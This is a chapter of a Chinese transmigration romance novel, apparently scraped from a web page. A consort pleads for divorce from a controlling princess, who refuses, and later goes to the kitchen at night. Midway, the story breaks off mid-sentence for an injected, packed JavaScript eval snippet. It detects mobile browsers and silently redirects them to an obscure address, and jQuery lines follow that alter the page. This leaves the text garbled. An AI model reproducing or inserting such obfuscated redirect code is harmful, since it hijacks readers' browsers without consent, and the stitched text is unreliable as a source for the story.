3. 公主殿下

“......”





宋瑾笙怔然,完全没想到卫珞漪的回绝会如此干脆。


“本宫,不愿和离.....”


这句话反复回荡在她脑海,像是法官给她判死刑一样的绝情。


刚才的美好幻想全部破灭了,宋瑾笙像花枯萎了似的,蔫了一半。


而她这些细微的眼神变化,全数落在卫珞漪的眼里,打量她的目光渐渐从疑惑变为探究。


宋瑾笙神情错愕,回过神来追问:“为什么?为什么不能和离?”


她的不甘心让她的语气都变得激动。


“为何?”卫珞漪挑眉反问一句,似笑非笑,“驸马,你还未回答本宫,你为何要和离?”


“你我二人成婚一年有余,向来相敬如宾,并无争执,你也从未与本宫提过和离之事,而如今昏迷多日醒来,身子骨尚未好,便急着想与本宫和离?”


“......”


卫珞漪的话让宋瑾笙冷静了些。


也对,她突然急着提出和离,却没个正当理由,论谁都会觉得奇怪。


都怪系统给她发布什么限时任务。


“嗯?”见她垂眸不语,卫珞漪冷凝着她。


“我.....”宋瑾笙被这样的眼神看得头皮发麻。


有那么一瞬间,让她想起当初在高三英语课上打瞌睡,却被老师点名叫起的失措。甚至,卫珞漪给她带来的压迫感要更强烈。


沉默半响,就在卫珞漪打算无视掉她离开时,宋瑾笙终于开口了。


她先是长叹一声,旋即撑着身子站起来与卫珞漪面对面。


宋瑾笙的身量比普通女子高些,站起身来,略高卫珞漪半头。她此时垂眸凝上眼前人,目光深沉,“是,殿下说得对,可虽然我不记得从前的事,但我听谷子说,这一年来我与殿下并不亲近,连同房的日子都屈指可数.....”


“那便是说,殿下并不喜欢我,我也...并不爱慕殿下,既然如此,为什么还要拖着对方呢,还不如早点和离,这样大家都自由了。”


“殿下,我想,我们并不合适,你还是再找良人吧。”


宋瑾笙一番话说得真挚,演得她自己都要信了。


的亏平常看的虐恋文不少,关键时刻还能照搬原文的台词来应付。


卫珞漪看着她不语,眼底的情绪稍有变化,语气平淡地开口:“驸马,本宫发觉你醒来后,不仅是记不得以往,就连性情都大变了啊。”


她声音轻飘飘在宋瑾笙的耳畔绕着,宋瑾笙怔然,见她朝自己走近一步。


宋瑾笙本能要往后退,可身后就是床榻抵着,根本无路可退。卫珞漪此时与她相隔不过几寸,身体都快靠近她的怀里了。


她要做什么.....


宋瑾笙眉头蹙起,见卫珞漪小巧的红唇一点点凑来,直到在她的耳边停下。


“驸马,当初本宫跟你提这门婚事时,早就与你有了约定,你我不干涉,不逾矩,不越界。”


“你当时可全都应下了,毫无半点反对.....如今你说这些,你不觉得可笑么?”


卫珞漪启唇间吐出的气息轻洒在宋瑾笙的耳侧,她那儿本就敏感,此时更觉酥酥麻麻,红了大半。


她忙偏开头,轻推着卫珞漪拉开距离,低头咳两声,掩盖自己稍显不自然的脸色,待思考好,才再抬眸,“殿下也说了,那是当时的我,人怎么会不变呢?当时早不同现在....更何况我已经不记得从前了....”


那些承诺是从前的宋瑾笙答应下的,那个宋瑾笙早就意外身亡了,和现在的她有什么关系?


“再说了,我也是真心为殿下好,你想啊,结婚...哎呀,成亲嘛,不就是希望有个人能陪在身边,体贴你,照顾你,疼爱你。”


“可这些,我给不了殿下,殿下也给不了我....”


话未说完,卫珞漪便打断她,意味深长道:“你是怪本宫以往不关心你?”


这一问让宋瑾笙哽住了,“那倒也不是.....”


“我只是觉得....以殿下的身份,能选的英年才俊有很多,要哪样的没有,为什么就要....”


为什么就要绑着她不放呢.....连考虑都不考虑就拒绝了。


宋瑾笙小心翼翼地把心里话说出来,目光便直勾勾盯上卫珞漪的脸,观察着她的神情。


她在看卫珞漪,卫珞漪同样在看她。


眼前人明明还是一样的容貌,可为什么,自从她醒来后,从性情到谈吐都像变了一个人?


从前的宋瑾笙,阴郁内敛、沉默寡言、不善辩驳,对一切事物仿佛都兴致寡淡,怎会像现在这般能说会道?


如此着急想与她和离,究竟是为何呢?


她很好奇。


“这些,便不用驸马多虑了。”默了半响,卫珞漪才淡然开口。


卫珞漪退了一步,视线从宋瑾笙的秀气的脸落到她凌乱的衣襟,她抬手帮她整理,抚平上面的褶皱,“你既是本宫认定的人,本宫又怎么会轻易与你和离呢?”


宋瑾笙怔然着,待卫珞漪理好襟口,才见她又抬头,话锋一转,“想要和离也并非不可,但不是现下。”


“那...要等多久?”宋瑾笙蹙眉追问。


闻言,卫珞漪唇角似轻微地扬了些,漫不经心道:“多久?本宫也不知。”


“等到本宫不再需要你,自然会放你走。”


“听懂了么?”


宋瑾笙眉间一紧,凝着卫珞漪说不出任何话了。


她算是明白了,不是卫珞漪不肯和离,只不过这和离不能由她宋瑾笙来提,主动权还是在卫珞漪的手上。


这什么高控制欲人格。


嘶,这公主的眼神怪瘆人的.....


宋瑾笙被卫珞漪冷冰冰的眼神看得发怵,连忙避开,目光闪烁,“...我知道了.....那个,我有点累了...”


“那驸马便好好休养吧。”


卫珞漪眼神轻扫了她一眼,随意丢下一句话,便缓缓转身走了。


宋瑾笙在原地僵着,听到门阖上的声音,她才全身放松下来,直挺挺地倒回床上。


想起刚才卫珞漪说出“不愿和离”的语气,宋瑾笙顿觉心累,忍不住问系统:求你了,告诉我还有什么办法能回去?除了跟公主和离。


系统慢悠悠地回她:有的,只需要您更改主线任务即可,为原主完成....


宋瑾笙无语地打断:好好好,当我没问,你可以休息了。


系统:......


果然,靠谁都不如靠自己,她都已经被系统强行绑定穿来这儿了,怎么还能指望系统给她开小道。


卫珞漪走后,屋内安静下来,宋瑾笙躺在床上,双眼无神地睁着,无精打采。


说实话,这一切转变真的太过突然,她到现在都还没能完全接受自己已经穿越的事实。


她不知道要在这个陌生的地方呆多久,也不知道以后除了要应付性情古怪的公主之外,还有什么.....


如果公主一直不同意和离,难道她就要一直留在这吗?


这么想想...简直要疯。


宋瑾笙想得脑袋发晕,长叹一声,干脆闭眼拿被褥盖过头,整个人都蜷缩进床榻内侧。


事已至此,再睡一觉吧。


.


后面的几日里,卫珞漪没再来看过她。


每日除了神医按例来给她把脉,还有几名侍女和谷子在她屋里进出,便再无他人了。


这样的日子很清净,不用赶地铁公交上班,也不用每天因为讨人厌的同事而怨气,但没有电子产品陪伴的日子,实在是过于枯燥了些。


于是,宋瑾笙便用草纸自制了扑克牌,费了大半天的功夫才教会谷子,之后便抓着他陪自己打牌,顺便问起原主的故事。


谷子是在前两年才跟着原主,对原主身世的了解


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228272|165901||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


并不多,也并不知她是前朝遗孤。只清楚原主并无父母,对谷子说是孤儿,而且在考上状元郎前,也是个穷书生,平日里靠卖书画还有邻里阿娘的照顾为生,日子很贫苦。


不过,功夫不负有心人,十年苦读,一朝成名。


原主考上状元后,圣上在宴上为其下旨升官,但原主却婉拒了官职,只求迎娶公主殿下,而当时高座之上的卫珞漪同样向圣上求嫁,表明对原主一见倾心。


可在当时的规矩,南赤的驸马不得从政,且原主无权无势。


起初圣上并不愿将公主下嫁,耐不过卫珞漪日日请求,圣上终究应允了二人的婚事,但也因此,原主失去原本的官职。


宋瑾笙听到这里,不禁感叹,这个原主的身世与她竟还有些像。


她从小在福利院长大,从未见过亲生父母,虽然命苦,但所幸脑子还够用,靠自己努力,最后考上了当地的211,有份得体的工作,在福利院也算是出名了。


可她和原主不一样,她没原主这么大的野心,居然为了复仇,不惜冒着被砍头的风险娶公主。


她就是一个贪生怕死的人,这一辈子只想过得安稳点,所以越快能和公主和离就越好。


但此事也心急不得,还是要从长计议。


而这几日里,宋瑾笙也已然习惯了古人的生活和作息,只除开一件事。


那便是膳食。


原主不喜食荤,于是接连几日,送来宋瑾笙屋内的,全是一桌子的素菜。


这些菜肴品相精致,可宋瑾笙光是看着就毫无食欲,所以今夜进食不多,结果等一个时辰,她就又饿了。


这会儿,宋瑾笙正躺在榻上看话本,但翻来覆去,实在腹饿难忍。


没想到这原主还是个素食主义者,但不爱吃荤菜就算了,怎么素菜都是清炒,一点油水都没有。


宋瑾笙抚着平坦的小腹,沉叹一声,翻身坐起,把守在门外的侍女喊进来。


“那个,府里还有什么吃的么?”


侍女微愣,低头道:“回驸马爷,殿下那应是有些糕点未曾食用,要不.....”


话未说完,宋瑾笙连忙打断,“不不,不用去殿下那了.....”


她可不想再招惹卫珞漪了。


可府里又没吃的,古人还有宵禁,这个时辰出去,怕是馆子都关了。


宋瑾笙思索良久,打定了主意,她起身把鞋袜穿上,甩甩袖袍,对一旁的侍女道:“走,领我去东厨看看。”


唉,纠结那么久,还得是自己动手。


.


夜里,悬月高挂,夜色清冷。


主房侧的书房内,卫珞漪正立在案前,执笔落字,笔墨重重落于纸上,笔锋流转、字迹娟秀。


冬阳在她身后默默看着,直至这副字词写完,卫珞漪放笔搁置,她才上前轻声道:“殿下,方才他们来报,说驸马去东厨了。”


闻言,卫珞漪面上并无太多表情,只是缓缓将案上的宣纸收好,“不是说了么?这些小事不用报了。”


冬阳默声,抬眼瞧着卫珞漪的神情,“殿下....驸马是去入厨烧食了.....”


“什么?”卫珞漪的手一顿,不可置信地朝冬阳看去。


宋瑾笙怕不是真在山崖下把脑子摔坏了,这个时辰跑去入厨?


而且她一介书生,那双手只会写书作画,什么时候会烹食了,别待会儿把东厨都烧了。


“厨子呢?”卫珞漪的情绪鲜少有起伏,现下却因为惊讶,声音都大了些。


冬阳也觉不可思议,说得磕磕绊绊,“驸马说不用厨子....她就是厨子.....”


卫珞漪蹙眉,面露不解,眉头拧着好一会儿都未松开。


半响,她才无声沉叹,将卷起的宣纸随手放入一旁的木筒,本欲径直走回主房,可刚走两步又走会来,瞥了冬阳一眼,无奈道:“拿夜灯,去东厨。”


“我要看看她在搞什么名堂。”